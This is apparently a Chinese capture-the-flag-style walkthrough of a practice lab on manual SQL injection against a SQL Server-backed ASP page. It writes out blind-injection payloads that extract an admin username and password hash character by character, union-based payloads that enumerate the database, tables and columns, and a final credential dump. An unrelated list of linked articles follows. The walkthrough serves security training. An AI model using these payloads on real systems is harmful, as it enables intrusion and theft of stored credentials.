还是先找到注入点,然后order by找出字段数:4

通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段。此处返回的是错误页面,说明系统禁止使用union进行相关SQL查询,我们得使用其他方式进行手工SQL注入。

一、盲注

盲猜爆出表名

通过SQL语句中的and exists(select username from manage)查询,判断manage数据库表表中存在的字段。此处返回内容为正常页面,说明数据库表中存在username字段。同理找出password字段

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的通过SQL语句中的and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)查询,判断manage数据库表表中id=1的username字段值的第一位字符。此处返回内容为正常页面,说明数据库表中ID=1的username字段值的第一位等于‘d’。

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,3,1))=109 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,4,1))=105 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,5,1))=110 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,6,1))=95 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,7,1))=109 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,8,1))=122 and ID=1)
最后得到的username值是:admin_mz

利用注入username字段值的方法对password字段进行注入,分别提交以下URL请求,即可得到id=1的password字段的值。
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,1,1))=55 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,2,1))=50 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,3,1))=101 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,4,1))=49 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,5,1))=98 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,6,1))=102 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,7,1))=99 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,8,1))=51 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,9,1))=102 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,10,1))=48 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,11,1))=49 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,12,1))=98 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,13,1))=55 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,14,1))=53 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,15,1))=56 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,16,1))=51 and ID=1)
最后得到的password值是:72e1bfc3f01b7583

通过MD5解密网站得知明文password值为97285101

二、union all

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,null,null,null

用union all select null,null,null,null四个null分别尝试回显位置,得到回显语句:

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,2,null,null

//逐一测试,显示位3为字符型,导致的一些bug

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,2,'3',null

数据库

//这里也可以使用db_name(1)、db_name(2)查询其他数据库

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,db_name(),null,null

结果为:mozhe_db_v2

http://219.153.49.228:44082/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

//xtype='u' :查看用户表

结果:manage

查看有没别的表

http://219.153.49.228:44082/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4

结果:announcement

继续查看表

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4

结果空,说明没有别的了。

列名

id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

得出:id

id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

得出:username

id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

得出:password

id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null

得出:空

说明mange表总共有3列,分别为:id、username、password

爆破:

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,username, password ,null from manage

SQL手工注入漏洞测试(Sql Server数据库)的更多相关文章

  1. SQL过滤字符后手工注入漏洞测试(第1题)

    https://www.mozhe.cn/bug/detail/a1diUUZsa3ByMkgrZnpjcWZOYVEyUT09bW96aGUmozhe 分析题目,属于时间盲注,这种情况,通常使用sq ...

  2. SQL手工注入方法

    SQL手工注入漏洞测试(MySQL数据库) 的靶场练习   流程与方法 注意:加粗部分给重点 查询数据库名http://219.153.49.228:46939/new_list.php?id=22 ...

  3. (后端)sql手工注入语句&SQL手工注入大全(转)

    转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...

  4. 最新SQL手工注入语句&SQL注入大全

    看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...

  5. 【新手篇】搭建DCN漏洞靶机及简单的SQL手工注入

    很多新手小白入门后发现想要学好“网安”技术,除了掌握基础理论知识,更需要经常模拟不同的漏洞环境,但是如果使用外网服务器练习,会存在一定风险,因此能够搭建一个本地的模拟环境去测试漏洞将是一个不错的方案. ...

  6. python辅助sql手工注入猜解数据库案例分析

    发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...

  7. 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...

  8. [SQL SERVER系列]读书笔记之SQL注入漏洞和SQL调优

    最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这个表达式永远返回 true, ...

  9. 基于dvwa环境下级别为low的SQL手工注入教程

    基于dvwa环境下级别为low的SQL手工注入教程: 首先是进入已搭建好的dvwa环境中去(一定要搭建好dvwa环境才能进行下面的操作),这可能会是一些初学者所面临的的第一个问题,比如我,曾为了寻找这 ...

随机推荐

  1. vs2008编译openssl,静态库/动态库,批处理

    ::前期准备准备工作::1,下载安装好ActivePerl,::2,下载Openssl源码::3,本机有安装vc::4,此例在vs2008(vc9),openssl-1.0.2o下完成 echo of ...

  2. sdn2017 第三次作业

    1.阅读: 阅读<图解openflow>第一二章(请自己查找相应书籍) 阅读文章:http://www.sdnlab.com/19777.html 阅读<重构网络>第一二章 2 ...

  3. 团队作业——Alpha冲刺 10/12

    团队作业--Alpha冲刺 冲刺任务安排 杨光海天 今日任务:编辑界面返回以及预览的intent实现 明日任务:未能按时间要求完成的失败总结 郭剑南 今日任务:优化图像预处理所有功能的函数代码,尝试与 ...

  4. JS中的防抖与节流

    什么是防抖?and什么是节流?一起来开心的学习下吧. 首先什么是防抖:就是在一定的时间内事件只发生一次,比如你点击button按钮,1秒内任你单身30年手速点击无数次,他也还是只触发一次.举个例子,当 ...

  5. svn: 无法连接主机“127.0.0.1”: 拒绝连接

    尝试搭建SVN服务器,前面的步骤都OK,服务已经启动, svnserve -d --listen-port 80 --listen-host 0.0.0.0 -r /data/nerrissa/svn ...

  6. Test传送门(更新中)

    一.Codeforces传送门: Avito Code Challenge 2018 题解传送门 Codeforces Round #485 (Div. 2)     题解传送门 二.hihocode ...

  7. 加强对HEAD 请求的处理(转贴)

    最近发现有些搜索引擎爬虫在抓取数据的时候,先是通过一个HEAD 请求获取response的header 信息,然后再通过GET 请求获取response 的body信息(即页面的内容)——先发送HEA ...

  8. 关于JRebel启动tomcat访问上次工程的index.jsp

    检查了一下,原来我把上次配置文件包括JRebel配置文件一起复制过来,用JRebel启动时tomcat访问JRebel配置文件的目录下 这个是我上次文件的路径,把JRebel配置文件删除了,然后 di ...

  9. 垃圾回收相关(深入理解Java虚拟机中的内容)

    程序计数器.虚拟机栈和本地方法栈这三个区域属于线程私有的,只存在于线程的生命周期内,线程结束之后也会消失,因此不需要对这三个区域进行垃圾回收.垃圾回收主要是针对 Java 堆和方法区进行. 判断一个对 ...

  10. js 对于jquery each 多层循环的问题和原生js多层循环问题

    一.在jquery中,我们使用循环的时候,提供两种方式:jquery.each 和(循环体).each  两种方式不是同. 对于return 在作用这两个的函数的时候需要注意: 首先我们需要知道我们的 ...